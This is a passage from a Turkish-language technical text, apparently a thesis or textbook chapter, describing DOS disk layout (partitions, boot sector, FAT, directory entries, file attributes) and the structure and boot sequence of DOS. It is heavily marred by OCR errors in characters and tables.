PC/AT sabit diski
a0 20 30Mb 733 17 5
PS/2 Model 30
sabit diski 20Mb 612 17 4
tip 26
PS/2 Model 60
sabit diski 44Mb 132 17 7

tip 31
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. Sabit disklerin depolama sigalari gbreceli olarak cok
bilylik oldugundan, bazi PC kullanicilari DOS icin disk ala~
ninin sadece bir kismini, difer kismini da baska isgletim
sistemleri igin'kullanmayx tercih etmektedirler. Bu duru-
mu kolaylagtirmak icin, bir sabit diskin kullanilabilir a-
lani dort mantiksal b&liime (Partition) ayrilarak bunlara
ayri ayri erismek miimkin olabilmektedir. Boliimleme bilgi-
leri digerlerinden biitiiniiyle tecrit edilebilir ve her bo-
liim kendine ait acilis kesimini ve isletim sistemini ice-
rebilir.

Bir sabit diskin ilk kesimi 64 bayt uzunlugundaki bir
bolimleme tablosunu ve bir disk acilig programini ihtiva
etmektedir, Bdliimleme tablosu disk lizerinde boliimlerin bu
lundugu konumlari gisterir. Tablo ayni zamanda bir tek a-
cilabilir yani sistemi baglatabilir bdliime gdnderme yapar.
S6zii edilen bdlilmdeki ilk kesim, ROM BIOS’un bir isletim
sistemini yilikleyebilmesi icin gerekIli bﬁlﬁm'aéllls kesi-
mini icermektedir.

Disk acilig programi bdlimleme tablosunu inceleyerek
bgliumlerden hangisinin bir igletim sistemini calistirabile-
cegini tespit eder. Daha sonra diskten boliim acilis kesi-
mini bellege okur. S&zii edilen bu kesim, diskten bir is-
letim sistemini bellege okuyan ve bunun {izerine kontrolii
ona devreden bir ac¢ilis programini icermektedir.

4.3 Diskin mantiksal yapisi

DOS disklerinin timi ayni mantiksal formatlama .igle-
minden gecmektedir. Diskin, kayit yiizeyleri, izleri ve ke-
simleri ayni notasyon ile nilmerik olarak tanimlanair; belir-
1i kesimlerse daima Gzel programlar icin sakli tutulur.DOS
bunlarin yardimiyla disk ydnetimini icra eder.[5]

Disketin silindir numaralari disk (kayit) yiizeyinin
disindan O ile baglar ve disk merkezine dogru artan numara-
larla siralanir. Ayni gekilde okuma/yazma kafalari da O ile
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baglar; fakat i1lk kesim 1 numarasiyla baglamaktadir. Boy-

lece diskin iizerindeki herhangi bir lokasyon tek bir silin-
dir, kafa ve kesim numara kombinasyonuyla belirlenebilmek-

tedir., Gercekte bu durum ROM BIOS'un disk verisine nasil

erismekte oldugunu gtstermektedir.

Fakat DOS, silindir, kafa ve kesimleri tanimaz. Bunun
yerine o, diski, dofrusal olarak siralanmis mantiksal ke-
simlerden ibaret gbrmektedir. Ard arda gelen mantiksal ke~
simlerden ilki disk lizerindeki birinci kesimdir, yani 1,
kesim, O.silindir ve O.kafa (acilig kesimi) D°S icin C.man-
tiksal kesimdir.

Mantiksal kesimler, ayni silindir icinde izden ize ve
sonra da silindirden silindire giderek numaralandirilir.Bu
suretle, O.s8ilindir ve O.kafadaki son kesimi, C.silindir
ve 1.kafadaki kesim takip etmektedir, bir silindirdeki son
kesimi ise bir sonraki silindirdeki kesim izlemektedir.

Mantiksal kesimlerin kullanimiyla DOS, farkli disk sii—
riicii tipleri arasinda cesitlilik g&steren silindir, kafa
ve kesim numaralariyla mesgul olmaktan uzak kalir. Ancak
bu 6zellik, DOS’un belli bir disk siirliclide erisebilecegi
disk alani miktarini sinirlamaktadir. DOS, mantiksal ke-
sim numaralarini 16-bit tamsayilarla kayit ettiginden. bir
disk lizerinde en cok 65536 adet mantiksal kesimi taniyabi-
lir. Difger yandan kabul edilen (default) kesim uzunlugu
512 bayt oldugundan, DOS’un ytnetebilecegi en bilyiik disk
65536x512 yani 32Mb kapasiteli bir disk olacaktir. Ancak
bu siniri agabilmek icin DOS, 3.3 siiriimiyle uzatilmis (ex-
tended) DOS bylumiinii (partition) ithal etmistir. Boylelik-
le ana C: siirliciiniin yaninda D ve E gibi uzatilmig bslimler
kullanabilme imkani dogmustur; fakat uzatilmis blimlerde-
ki D ve E siirliclilerinin her biri 32Mb’tan fazla olamamakta-
dar.

4.4 DOS’un diski diizenleyis tarzi

DOS bir disketi formatladiginda onu siler ve her kesimi
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gdzden gegirir; fakat bir sabit diskin boliimiinde bu islem
veriler silinmeksizin her kesim tamamlilik acisindan tah-
kik edilerek gerceklestirilir. Formatlama programi gerek
disket gerekse disklerde kontrol bilgilerini ve indeksleri-
ni depolamak icin, belirli miktardaki disk alanini muhafa-
za etmektedir. Bir bakima koruma altina alinan bu bdlgeyi
DOS isletim sistemi disk {lzerine kayit olunan bilgileri dii-
zenlemek icin kullanir.[6]

Her DOS disketi veya sabit disk bdlimii dort ayri bsl-
geye haritalanir, Bu bdlgeler saklanis sirasina godre, sak-
11 bdlge (reserved area), dosya dagilim tablosu (File Allo
cation Table=FAT), ana dizin (root directory) ve dosya bl
gesidir (file area).

¢. mantiksal kesim Sakli bblge

Dosya Dagilam Tablosu (FAT).

Ana dizin

Dosya bdlgesi
(Dosya ve alt dizinler)

s

Sekil 4.2- DOS disk raritasa
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Sakli bblge bir veya daha fazla kesimden meydana ge-
lebilir; ilk kesim daima disk acilis kesimidir (sifirinci
mantiksal kesim). Acilis kesiminin icersinde bir tablo,
sakli bdlgeninin uzunlugu (size), dosya dagilim tablosu-
nun uzunlugu (ve kag¢ kopyasini icerdigini) ve bununla bir-
likte ana dizinde yer alan girislerin sayisi kayitlidir,.
Biitin disketlerde en az bir kesim sakli bdlge icin tahsis
edilmistir.

Sakli bdlgenin hemen ardindan dosya dagilim tablosu
yani FAT gelmektedir. Bu tablo, diskin dosya bOlgesi iize-
rindeki tiim disk alaninin kullanigani, dosyalar icin ayri-
lan alanlari, heniiz kullanilmamis alanlari ve disk ortamin-
da 862z konusu olabilen hatalari haritalar. FAT tahrip ola-
bilir diisiincesiyle bunun iki adet kopyasi yapilmaktadir.
FAT’1in biylkliigi diskin sifasina yani kavasitesine bagli-
dir. Asagidaki tablo farkli disklerde FAT biiylikliiglini gbs—
termektedir.

Tablo 4.4~ Bilinen bazi DOS disket formatlari icin sakli
bdlge, FAT ve ana dizin boylari.

Disk Kapasgite Sakli bdlge  FAT Ana dizin

5.25" disket 360K 1 kesim 4 kes, 7 kesim
1.2Mb 1 kesim 14 14

3.5" disket 720K 1 6 7

1.44Mb 1 18 14
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* DOS diski lizerinde bir diger madde ana dizindir. Ana
dizin bir icerikler tablosu olarak kullanilmaktadair. S@zl
gecen bu icerikler tablosunda her dosya icin bir dizi bil-
giler tutulmaktadir. Bu bilgiler arasinda ana dizin giri-
sinde dosyanin adi, biylikligi (bayt olarak uzunlugu) ve
disk iizerindeki lokasyonu bulunur. Ana dizinin biylklugi
(kesim olarak) disk formatlariyla degiskenlik gosterir(ba-
kiniz tablo 4.)

Diskin kullanilabilir alaninin en biiylik boliimiinii dos~
ya bdlgesi iggal etmektedir. Dosyalar bu bdlgeye kayit e-
dilir. DOS 2.0 ve daha sonraki siiriimleri dosya bdlgesine
dosyalarin yaninda alt dizinleri de kayit etmeye baslamis-
lardir. Gerek dosyalar gerekse alt dizinler icin dosya
bélgesi alani lizerinde ardisik kesimlerden meydana gelen
kilmeler (clusters) tahsis edilir. FAT ve ana dizin bilyiik~
liiklerinde oldufu gibi bir DOS diskinin kiime uzunluklari
da formatlama olgusuyla degisir.

Tablo 4.5~ Bilinen bazi DOS disk formatlari ic¢in kiime
biiyiiklilkleri (boylara) "

Disk Kapasite Kiime biyUkliigii

5.25" disket 26048 2 kesim
1.2Mb 1

3.5" disket 720K 2
1.44MDb 1

PO;XT sabit diski 10MDb 8

PC/AT sabit diski .

ti? 20 20Mb 4

PS/2 Model 30

sabit diski tip 26 30Mb 4

PS/2 Model 60 44Mb 4

sabit diski tip 31
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4,4,1 Acilig kesimi (Boot sector)

Bir DOS disketindeki veya bir sabit diskin DCS bolii-
mindeki ag¢ilig kesimi ¥z bir makina dili programindan olus-
maktadir. Bu program DOS igletim sistemini bellege  yiik-
letme islemini baglatir.[6]

Blitiin disk formatlama tlirlerinin acilis kesimlerinde
bazi tnemli parametreler bulunmaktadir; BIOS un bir parca-
sl olan parametreler DCS tarafindan herhangi disk tipi ay-
gitini denetlemek icin kullanilar.

Tablo 4.6- Acilis kesimindeki BIOS parametreler blogu.

Uzunluk Aciklama

8 bvayt Sistem tanitici (ID)

1 kelime Kesim bagina diisen bayt sayisi
1 bayt Kiime bagina diigen kesim sayisi
1 kelime Sakli bdlgedeki kesim sayisi

1 bayt FAT  an kopya sayisi

1 kelime Ana dizindeki girislerin sayisi
1 kelime Toplam kesim sayisi

1 bayt DOS ortam taniticisi

1 kelime FAT basina diigsen kesim sayaisi
1 kelime Iz basina diisen kesim sayisa

‘1 kelime Kafa sayisi

1 kelime Gizli kesim sayisi

4.4.2 Ana dizin (Root directory)

Bir disket veya bir sabit diskin b@liimiindeki ana di-
zin, DOS’un FCRMAT programiyla olusturulmaktadar, FORMAT
tarafindan belirlenen ana dizinin bilyllklUgi veya baska bir
ifadeyle bu dizine yapilan girislerin sayisa sxnxrlxdlr.lﬁl
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Tablo 4.7~ Bazi genel DOS disk formatlar: icin ana dizin

biyilklikleri
Disk Kapasite Biiyliklik Giris sayisa
5.25" disket 180K 4 kesim 64
360K 7 112
1.2Mb 14 224
3.,5" disket 720K 7 112
1.44Mb 14 224
PC/XT sabit diski 10Mb 32 512
PC/AT sabit diski
tip 20 30Mb 32 512
PS/2 Model 30
sabit diski tip 26  2OMb 32 512

PS/2 Model 60

sabit diski tip 31  44MP 32 512

Ana dizin bir seri 32-bayt uzunlufunda dizin giris-
leri ihtiva etmektedir. Her dizin girisi dosyanin adani,
bir alt dizini ya da bir disk hacim etiketini icerir. Bir
dosya ig¢in dizin girisinde dosyanin uzunlugu, disk(et)teki
lokasyonu ve son defa defistirildigi tarih ve zaman givi
temel bilgiler bulunur. Bu bilgiler asagida listelenen
sekiz alanda gbriilmektedir.
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Tablo 4.8~ Bir dizin girigine ait sekiz bilgi birimi.

Aciklama Uzunluk Format

Dosya adi 8 bvayt ASCII karakterleri
Dosya adi uzantisi 3 ASCII karakterleri
Nitelik 1 Bit kodlu

Ayrilmig alan 10 Kullanilmiyor;sifirlar
Zaman 2 Kelime kodlu

Tarih 2 Kelime kodlu

Baslangic kiime- .

nUMATasy 2 Kelime

Dosya biiylik1iigii 4 Tam sayi

4.4.2.1 Dosya ada

Dizindeki ilk sekiz bayt ASCII olarak saklanan dosya
adini icermektedir. Efer dosya adi sekiz karakterden az
ise sag taraf bosluk karakterleri ile doldurulur.[6]

Dosya adinin bulundugu alandaki ilk bayta ozel durum-
lara igaret etmek lzere iki kod konmaktadir., DOS, bir
dosya silindigi zaman, bu dizin giriginin baska bir dosya
icin tekrar kullanilabilecegini belirtmek amaciyla, dosya
adi alaninin ilk baytina ES5H kodunu yerlegtirir,

Bir dosya silindiginde sadece iki olay meydana gelir.
Birinci olay dizin girisindeki ilk bayt ESH'ya cevrilir;
ikinei olayin siirecindeyse FAT da bu dosya icin ayrilan
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kilmeler temizlenir. Difer blitlin bilgiler oldugu gibi ko-
runur.

4.4,2.2 Dosya adi uzantisi (Filename Extension)

Dosya adini dogrudan takip eden standart dosya adi u-
zantisl ASCII formatinda saklanir, Uc bayttan meydana ge-
len bu uzanti li¢ karakterden az olursa bosluk karakterleri
ile doldurulur. Dosya adi en az bir karakterden  olusmak
zorundayken uzanti kismi icin bdyle bir sart yoktur.

4.4,2.3 Dosya niteligi (File Attribute)
Dizin girisinin liclincii alani 1 bayt uzunlugundadir.

Buradaki bayt bit seviyesinde deferlendirilir ve her bit
dizin girisini siniflamada kullanilir.

Tablo 4,.9- Bir dosyanin niteligini belirten 8-bit

Bit Anlama

2
(2
N
o~
N
N
-

Salt-okunur (Read-only)
Gizli (Hidden)

Sistem

Hacim etiketi (Volume label)
Alt dizin (Subdirectory)
Argiv

Kullanilmiyor

Kullanilmiyor

L R I AR R

e —ae s e & o o
® & a8 e 8 °
* & » xe o o
e & & 6 s »
® & &8 & e ae
e 6 & & 8 8 b

-_e & @ 8 o s &

Alcak dizeyli bir bit olan bit 0O, bir dosyayi salt o-
kunur olarak nitelendirmektedir. Boylelikle dosya DOS’un
herhangi bir isleminden &tiirii silinmekten ya da deéigti-
rilmekten korunmus olur.

Bit 1, bir dosyayi gizli (hidden), bit 2°de bir dos-
yayi sistem dosyasi olarak nitelendirmektedir. Gizli veya
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sistem ya da her ikisi olmak lizere nitelenen dosyalar
DOS’un olagan operasyonlariyla (Srnegin DIR komutu) giriin-
tiilenemezler. Bu cesit dosyalara DCS servislerini kulla-
narak ulasalibilir, Sistem niteliZinin hi¢ bir ®zellifi
yoktur; CP/M isletim sisteminden kalma ve halen, DOS isle~-
tim sistemiyle hicbir ilgisi olmadifi halde devam ettiri-
len bir gelenektir.

Bit 3 dizin girisini hacim etiketi olarak nitelemek-
tedir. Bir hacim etiketi sadece ana dizinde uygun bicim-
de algilanabilir. Etiketin kendisi dosya adi ve dosya a-
di uzantisinin yer aldifi alanlarda saklanir; bu iki ayri
alan bu amac ig¢in bir tek alanmig gibi ele alinir. Biiyiik-
1k ve baslangic kiime numarasi burada kullanilmaz, sadece
tarih ve zaman alanlari kullanalar.

Bit 4 dizin girisini bir alt dizin olarak nitelen-
dirmektedir. Alt dizinler siradan dosyalar gibi depolan-
d1g1 icin, bunlarin destekleyici bir alt dizin girisine
gereksinimleri vardir, Bu girisler icin dosya bilyliklizi
alani disinda tiim dizin alanlari kullanilir.

Bit 5 arsiv bitidir. DOS arsgsiv bit’inden sadece ye-
ni olusturulmus veya yazilimindan sonra deéigtirilmig dos-~
yalari sabit diske yedeklerken (back up) yararlanmaktadir.
Arsiv bit’in sifir oldugu tim dosyalar yapilan son yedek-
lemeden itibaren'degigtirilmemig olan dosyalardair; DOS bu
bit’i ancak yeni bir dosyayi olusturdugu ya da modifiye
ettifi zaman set etmektedir.

4.4.2.4 Ayrilmis alan

Buradaki 10 baytin tamami reset edilmis durumdadir.
Ileride kullanilabilir diisincesiyle ayrilmis bir sahadair.

4.4.2.5 Zaman ve tarih

Iki baytlik zaman ve tarih alaninda yeni yazilan ya
da defigtirilen dosyalarin zamanlari ve tarihleri kodlanir.
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4.4,2.6 Baslangic kilme numarasa

Dizin girisinin bu yedinci alani iki bayt uzunlugun-
da olup dosya veri bolgesi icin baslangic kiime numarasini
gbstermektedir. Dosya dagilim tablosunun icinde yer alan
kiime numaralari, dosyalara atanan kiimelerin ilkine gbnder-
me yapar. Alan tahsisi gerceklestirilmemis dosyalar ile
hacim-etiket girisleri icin baslangic¢ kiime numaralari si-
firdir.

4.4.2.7 Dosya biylukliigii ya da boyu

Dosya boyunu bayt olarak gsteren dizin giriginin bu
son alani ddrt baytlik tamsayi biciminde kodlanmaktadar.Bu
dzellik dosyalarin cok oylumlu olabilmesini saglar. DOS,
dosya boyunu dizin giriginde, dosyanin kesin uzunlugunu be-
lirlemek amaciyla kullanir. Bir dosyaya tahsis edilen disk.
alani 512 baytlik kiimeler halinde yapildifi icin, bir dos-
yanin kapladigi gergek alani, dizin girisinde belirtilen
degerden genelde daha biiyilktiir. Disk ilizerinde, dosya biti-
mi ile dosya icin ayrilan son kiime arasindaki bslge israf
edilir,

4.4.3 Dosya bslgesi (File Area)

Tim dosya ve alt dizinler dosya bdlgesinde saklanmak-
tadar. [B)

DOS, dosyalara ancak gerek duyuldugu zaman ve her de-
fasinda. bir kilme olmak {izere alan ayirmaktadir, Yeni bir
dosya olusturulurken veya mevcut bir dosyaya ekleme yapi-
lirken sdzil gecen dosya igin ayrilmis alan dogal olarak bii-
yimektedir. Bu dosyaya tahsis edilen alan yetersiz kalir-
sa DOS bagka bir kiime daha tahsis edecektir.

Bir dosya uygun kosullar altinda ardigsik gelen kiime-
ler halinde disk yllzeyine kayit edilmektedir. Ancak bu
durum her zaman bdyle devam etmeyebilir. Mevcut bir dos-
yaya bilgi eklendigi ya da silinmis bir dosyanan yerine
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yeni bir dosya kayit edildiginde, stz konusu olan dosya
artik birbvirini izleyen kiimeler geklinde kayit edilmesi
milmkiin olamayabilecektir. Bu sebepten &tirii bir dosyanin
tim disk ylzeyinde dagitik bir bicimde bulunmasi olagandi-
si bir durum arzetmeyecektir. BSyle bir dosyanin icerigi-
ne erisme zamani bir dereceye kadar artar. O{te yandan par-
calanmis Szellifini kazanan bu dosyalari "silememek" daha
da giliclesir; c¢iinkli bunlara tahsis edilen kiimeleri bireysel
olarak aramak gerekmektedir.

4.4.4 Dosya dagilim tablosu (FAT)

Dosya dagilim tablosu bir disk alaninin ne sekilde
kullanildigini gésteren bir haritadir. DOS isletim siste-
mi hemen hemen blitin disk formatlari icin, FAT zedelenebi~
lir ya da okunamaz bir duruma gelebilir diisiincesiyle FAT’
in iki kopyasini tutmaktadir.(6]

FAT’1n diizenlenisi basittir. Dosya bolgesindeki her

kilme icin FAT'da bir giris mevcuttur. Farkli FAT giris-
leri Tablo 10°da gtsterilmistir.

Tablo 4,10- FAT degerleri.

12-bit degerler 16-bit degerler Anlami

0 0 Kullanilmayan kiime
FFO-FF6H FFFO-FFF6H Sakli(ayrailmig) kiime
FFTH FFFTH K&tli kiime (Bad cluster)
FF8-FFFH FFF8-FFFFH Bir dosyanin son kilmesi
(diger degerler) Bir dosyaya ait bir

sonraki kiime
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Yukardaki FAT girisleri degerleri kullanilmayan (bos), sak
11 veya hatali bir kiimeyi icermiyorsa FAT daki girise kar-
s1lik gelen bu degerler, bir dosyanin bir bolimiine isaret
ediyor demektir. Bu ise bir dosyaya ait alanin, FAT girisg-
lerinin olugturduéu bir zinecir tarafindan haritalandifi an-
lamina gelir. Ardisik kilmelerden meydana gelen bu zincire
benzer yapi, yapirdaki bir sonraki girise isaret eder. Zin-
cirdeki ilk kiime numarasi, dosyanin dizin girigindeki bas~
langic kilme numarasidir. Yeni bir dosya yazilirken veya
mevcut bir dosya genisletilirken DOS, FAT da kullanilmamig
kiimeleri bulmak iizere bir arama yapar, bos kiimeye rasla-
d;éxndé bunu dosyaya atar. Tersine, bir dosya budandigine
da ya da silindiginde DOS, bu dosyaya atanmis kiimeleri te-
mizleyerek bagka dosyalarin kullanimina hazirlar.

FAT, 12-bit ya da 16-bit olarak formatlanmaktadir,Pra—
tikte disketler icin 12-bit, sabit diskler icin de 16-bit
FAT kullanilir. FAT 1in ilk iki girisi DMS’un kullanimina
ayrilmigtir. Giristeki ilk bayt ortam taniticisini icer-
mektedir. Bunu takip eden, FAT 16-bit olarak diizenlenmis-
ge Ui¢c bayt FFH ile isaretlenir; FAT 12-bit olarak diizen-
lenmigse iki baytta FFH ile kodlanir. Ilk iki kiime numa-
rasi (Ove 1) sakli oldugu icin, dosyaya atanacak alanin
kiime numarasini ikinci kiime tasimaktadar.[6]

Dosya Dosya Baglangic
adi adl uzantis.i kiime numarasi
giﬁgi [asciz [mxr| ' o v]ooozj ]

_

FAT | F8|FF|FF|FF) 0003 0005 0000|0006 | 0007 [FFFF | 0000
0] 1 2 3 4 5 6 1 8

Sekil 4.2 - FAT kullanilarak disk alaninin tahsis
edilmesi



5. DOS ISLETIM SISTEMININ YAPISI

DOS bir isletim sistemi olarak kendi icsel mantigini,
kullanicinin sistemden edindigi izlemini, lizerinde calisg-
t1f1 donanimdan yalitmayi amag¢ edinen muhtelif katmanlara
bolinmiistlir. Bu katmanlar sirasiyla sunlardir: (1]

(] Temel Girdi/Cikti Sistemi (BIOS)
[0 pos niive ( DOS kernel)
[0 Komut isleyicisi (Shell)

5.1 Temel Girdi/Cikti Sistemi

Temel Girdi/Cikti Sistemi ya da BIOS modiilii, sistemin
iireticisinden saglanmaktadir ve bireysel olarak bilgisayar
sistemine &dzglidiir; agaélda slralanin aygltlar'(devices).i-_.‘
cin varsayilan yerlesik (resident) donanima bagimli siirii-
clileri kapsar:(1]

O Exran ve klavye (CON)

J satir yazici (PRN)

O Yardimci aygit (AUX)

O rarih ve zaman (CT.OCK)

0 Acilis disk aygiti (Boot disk device)

Aygit stiriiclileri (Device Driver) bir igletim sisteminin do-
nanimini denetleyen modiillerdir; isletim sisteminin daha
ist seviyelerini merkezi islem birimiyle arabirimi gergek-
legtirén farkli cevresel aygitlarin kendilerine Ozgili nite-
liklerinden ayri tutmak amaciyla tasarlanmiglardir. DOS
niive bu aygit stiriciileriyle I/0 biriminin olugturdufu is-
tem paketcikleri sayesinde haberlesmektedir; siiriiciiler bun—
dan sonra 86z konusu istem paketciklerini uygun komutlara
doniigtiirerek gesitli donanim denetleyicilerine taktim eder,
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Kalici ve kurulabilir (installable) terimleri BIOS icinde
yeriegik bulunan siiriiclilerle, sistemin acilisi sirasinda,
CONFIG.SYS (System Configuration) dosyasinda yer alan DE-
VICE komutu araciliyla kurulan slirlicliler arasindaki farka
belirtmek icin kullanilmaktadair.

Kurulabilir aygit siiriiclileri kullanici tarafindan ta-
nimlanibilen siiriiciilerdir. Bunlarain arabirimleri donanim-
dan bagimsiz olan DOS niiveyle gerceklestirilir.

BIOS modilu IBMBIO.COM tarafindan sistemin acilisi si-
rasinda RAM bellegine okunmaktadir; IBMBIQ.COM dosyasi giz-
1li nitelikli olan iki dosyadan biridir.

5.2 DOS niive

DOS nilve Microsoft kurumunun safladigi ve sahiplifini
#stlendigi. bir yazilimdir. Bu yazilim, sistem fonksiyon
servislerinden meydana getirilmis bir yazilim lriniidir. Bu
fonksiyonlar asagidaki maddeleri kapsar: [1]

{1 Dosya ve kaylt'yﬁnetimi

{0 Bellek ybtnetimi

[ Karakter aygit Girdi/Ciktasa
00 piger programlarin yazimi

0O Gercek-zaman saatine erigim

Programlar bu fonksiyonlara erisebilmek icin, fonksi-
yona 6zgil olan parametreler vrogram tarafindan ilgili yaz-
maclara yliklenmekte ve ardindan bir yazilim kesmesi kulla~
nilarak igletim sistemine transfer edilmektedir.

DOS niive sistemin aciligi sirasinda, acilis diskinde
yer alan IBMDOS.COM dosyasi tarafindan bellefe yiiklenmekte-
dir; IBMDOS.COM dosyasi gizli nitelikli olan ikinci dosya~
dar.

5.3 Komut isleyicisi
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Komut isleyicisi ya da difer adiyla kabuk (shell) kul-
lanicl ile igletim sistemi arasinda bir iletisim aracaidar.
Kabuk, kullanicidan gelen komutlari yorumlamak ve isletmek-
le beraber, ikincil bellekte (disk veya disketlerde) depo-
lanan programlari hafizaya okumak ve icra etmekle gbrevli-
dir.,

Komut isleyicisi, COMMAND.CMM dosyasi icersinde yer
almaktadir. Bu dosya ekranda bir 'A?' uyari imini goriin-
tiilleyerek kullanicidan isteklerini girmesini bekler. Bunun-
la birlikte COMMAND.COM bir isletim sistemi degildir, sade-
ce DOS'un denetimi altinda calisan &zel bir prbgram tiri-
dir.

5.3.1 COMMAND.COM

DOS ile birlikte sunulan komut isleyicisi COMMAND.CM
" Uic bélimde incelenebilir: (1]

O Kalici kisim
(J Baslangig~-durumuna ayarlayan kisim

O Gecici (transient) modiil

Kalici kisim, diigsilk bellekte yer alan DOS niivenin tam-
pon ve tablolarinin Ustiindeki alana yiiklenmektedir. Bu a-
landa Ctrl-C ve Ctrl<Break’leri, kritik hatalari ve diger
kalici olmayan programlarin ¢ikig noktalarini islemek icin
gerekli yordamlar bulunmaktadir. COMMAND.COM)un bu kuesmi
hata mesajlari yayinlar ve agaéxdaki tanidik iletinin de
sorumlusudur:

Abort, Retry, Ignore?

Diger taraftan COMMAND.CMM icinde bulunan bir kod var-
casi, COYMAND.COM’un gecici kisminin tekrar yiliklenmesi i-
cab ettigi zaman devreye girerek komut isleyicisinin geci-
ci kismini ongdrillen hafiza bdlgesine yerlestirir.
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COMMAND.COM’ un baslangic-durumuna (initialization) a-
yarlayan kismi, kalici kismin, sistem agxldlélnda iist tara
fina yerlestirilmektedir. Burada efer bir AUTOEXEC toplu
iglem dosyasi mevcutsa onu igleme sokar.

COMMAND.COM un gecici kismi, RAM bellek bdlgesinin en
tepesine yerlestirilmektedir. Bu gecici modiil kullanici u-
yari imini (user prompt) gdriintiilemek, klavyeden tuslanan
ic veya dis komutlari ya da toplu islem dosyalarinda  yer
alan komutlari igslemekle sorumludur. Bir uygulama progra-
m1i sona erdiginde, COMMAND.COM’un kalici kismi, RAM’in ist
seviyelerinde barinan gecici kisminin iizerine sz konusu
uygulama programi tarafindan miidahele edilip edilmedigini
anlamak icin bir denetleme isglemi (checksum) uygular. Bu
islemin:netieesinde, COMMAND.COM un gecici kismi kendi bel-
lek alanindan uygulama programina &diin vermek durumunda kal-
mis ise, kendisinin taze bir kopyasini diskten tekrar bel-
lege okur. |

COMMAND.CCM tarafindan kabul edilen kullanici komut-
- lari li¢ grupta toplanmaktadir:

Ic komutlar (Internal commands)
Dis komutlar (External commands)

Toplu islem dosyalari (Batch files)

Ic komutlar, COMMAND.COM’un dahilinde bulunan. komut-
lardir. Bu gruba giren komutlar COPY, REN(ame), DEL(ete),
DIR(ectory), MKDIR ve CD gibi komutlardir. Ic komutlar
icin hazirlanmis yordamlar COMMAND.COM'un gecici boliimiinde
yer almaktadir.

Dis komutlar ya da difer bir ifadeyle kalici olmayan
programlar disk dosyalarinda kayitli bulunan programlarain
isimleridir. Bu sinifa giren programlar isletilmeden &nce
diskten bellegin gecici alanina yilklenmesi gerekmektedir,
Ornek olarak CHKDSK, BACKUP, REST'RE veya XCOPY gibi prog-
ramlar dis komutlardan bazilaridir. Bir dis  komut isgini
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tamamladxéx zaman bellekten silinir; bu sebeple bir dis
komuta gereksinim duyuldugunda her defasinda bellefe ylik-
lenmek zorundad.r.

Toplu islem dosyalari metin dosyalaridir. Bu dosya-
lar i¢, dig veya toplu islem dosyalarinin komutlarindan o-
lusturulmaktadir. Toplu islem dosyalari COMMAND.COM’un ge-
cici kisminin icersinde yer alan 6zel bir yorumlayici ta-
rafindan iglenir. S@zi edilen yorumlayici, toplu islem dos-
yasinda yer alan komutlari teker teker yorumlayarak gerek-
1i islemlerin yapilmasini saglar.

CO+IMAND,CrM bir kullanici komutunu yorumlamak zere
komut satirinda rasladifi ilk kelimenin ya da komut ismi-
nin bir ic komutunkine uyup uymadigini arastirmaktadir. B-
ger bu karsilastirma olumsuz sonuclanirsa, bu kez ayni i-
simde olan bir dis komutu ya da toplu islem dosyasinin a-
dini tegkil eden komutu aramaya baslar. Arama isgslemi ilk
once aktif dizin ve aktif sliriiciide, daha sonra diéer dizin-
lerde gerceklestirilir. COMMAND.COV her dizini denetler-
ken bagta (COM olmak lizere .COM, .EXE ve .BAT sirasini iz~
leyerek istenilen dosyayi bulmaya calisir, Arama islemi
yukarda sayilan dosya tiplerinde basarirsiz olmussa, COM-
MAND.COM agaé;daki tanidik iletiyi goriintiler:

Bad command or filename
5.4 DOS isletim sisteminin hafizaya yliklenisgi

Intel 8086 mikroisleyici ajlesinin bir &zellifi ge-
refi, sistem acildigi zaman program icrasi OFFFFOH adre-
sinden baglamaktadir. Fakat bu 8zelligin DCS isletim sis-
temiyle bir ilgisi yoktur. Intel ailesine mensup isleyi-
cileri kullanan siBtemlerde OFFFFOH adresi ROM bdlgesinin
icinde kalacak sekilde tasarlanmlgtlr; bununla birlikte btu
bblge icinde bulunan makina diline ait bir dallanma komutu
denetimi, sistemi test edecek kod parcasina ve ROM &nyiik-
leyici yordamina transfer eder, [1]
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ROM BnyiUkleyici programa

~*~— RAM’1in tepesi

00400H

Kesme vektérleri

CO000H

Sekil 5.1 - 8086/8088 tabanli bir sictemde, sistemin hemen
acilmasindan sonraki durum. OFFFFOH lokasyonu
rrogram denetimini ROM Ynyiikleyiciye iletecek

bir dallanma komutunu icermektedir.
ROM Onyilikleyicisi diskin ilk kesiminde yer alan on-

yikleyici programini bellege ockuduktan sonra kontrolii ona
devretmektedir.
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ROM 8nylikleyiei programa

“~—RAM’1in tepesi

Disk bnylikleyicisi

gelisigtzel
~=— yikleme lorkasyonu

Q04 00H

Kegme vektirleri
00000H

B ol i (1 T g
nuna yitkledikten hemen sonra denetimi ken-
disine barakmaktadar.

Bu kez diskin dnyilikleyici programai, diskin.DCS isle-
tim sisteminin bir kopyasini icerip icermedigini denetle-
mektedir. Onylkleyici ana dizinin ilk kesimini okuyarak
burada sirasiyla yer almasli gereken IBMBIO.COM ve IBMDOS.COM
gizli nitelikli dosyalarini tespit etmeye calisir. Bu dos-
yalar ongorillen lokasyonlarda bulunamazsa, kullanicidan dis-
ketlerin degigtirilmesi ve sonra herhangi bir tusa basil-
masi istenir. Diger yandan szl edilen dosyalar tespit e-
dildigi takdirde disk dnyiikleyicisi bunlara bellege yiikler
ve denetimi IBMBIO.COM dosyasinin baglanglgtgiria noktasi-

na birakir,



51

ROM Enyiikleyici programa

~>—RAM’1in tepesi

Disk dnylikleyicisi

DOS niive (IBMNDOS.COM’dan)

gecici lokasycn

SYSINIT (IE“BI(,COM‘dan)

BINS (IB¥BIC.COM’dan)

CO400H

Kesma vektirlerd

000CCH

Sekil 5.3 - Disk &nyiikleyjel programi IB¥BIO.COY’u bel-
lefe yilkler. Bu dosya iki kisirdan clusur:
BICS ve SYSIKIT modillleri. DIS niive IBMDCOS,COM
dosyasandan ya dick &nylikleyicisl ya da PIOS
tarafindan bellefe alinmaktadar,

Diskten yilklenen IBMBIO.COM dosyasi gercekte iki ay-
ri bylimden meydana gelmektedir. I1k b&liimii BIOS teskil
eder ve bir dizi birbiriyle baglantili kalici aygit siiri-
ciilerini icerir; konsol (klavye+ekran), yardimci giris ve
¢1kis bagZlantisa (port), yazici, blok aygitlar arti sadece
donanima Gzgli bazi baglangic-durumuna getiren kodlar bun-
larin arasindadir. Ikincisi SYSINIT olarak adlandirilan
modiildiir. Bu modiil Microsoft tarafindan saglanir ve gizli
dosya IBMBIO.COM dosyasiyla iliskilendirilmektedir. SYSI-
NIT yordami, BIOS u ireten firmanin gelistirdigi baslangic
durumuna getiren program parcasi tarafindan cagrilmaktadar.
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SYSINIT, sistemde mevcut ulagik (sinirdas) bellek mikta-
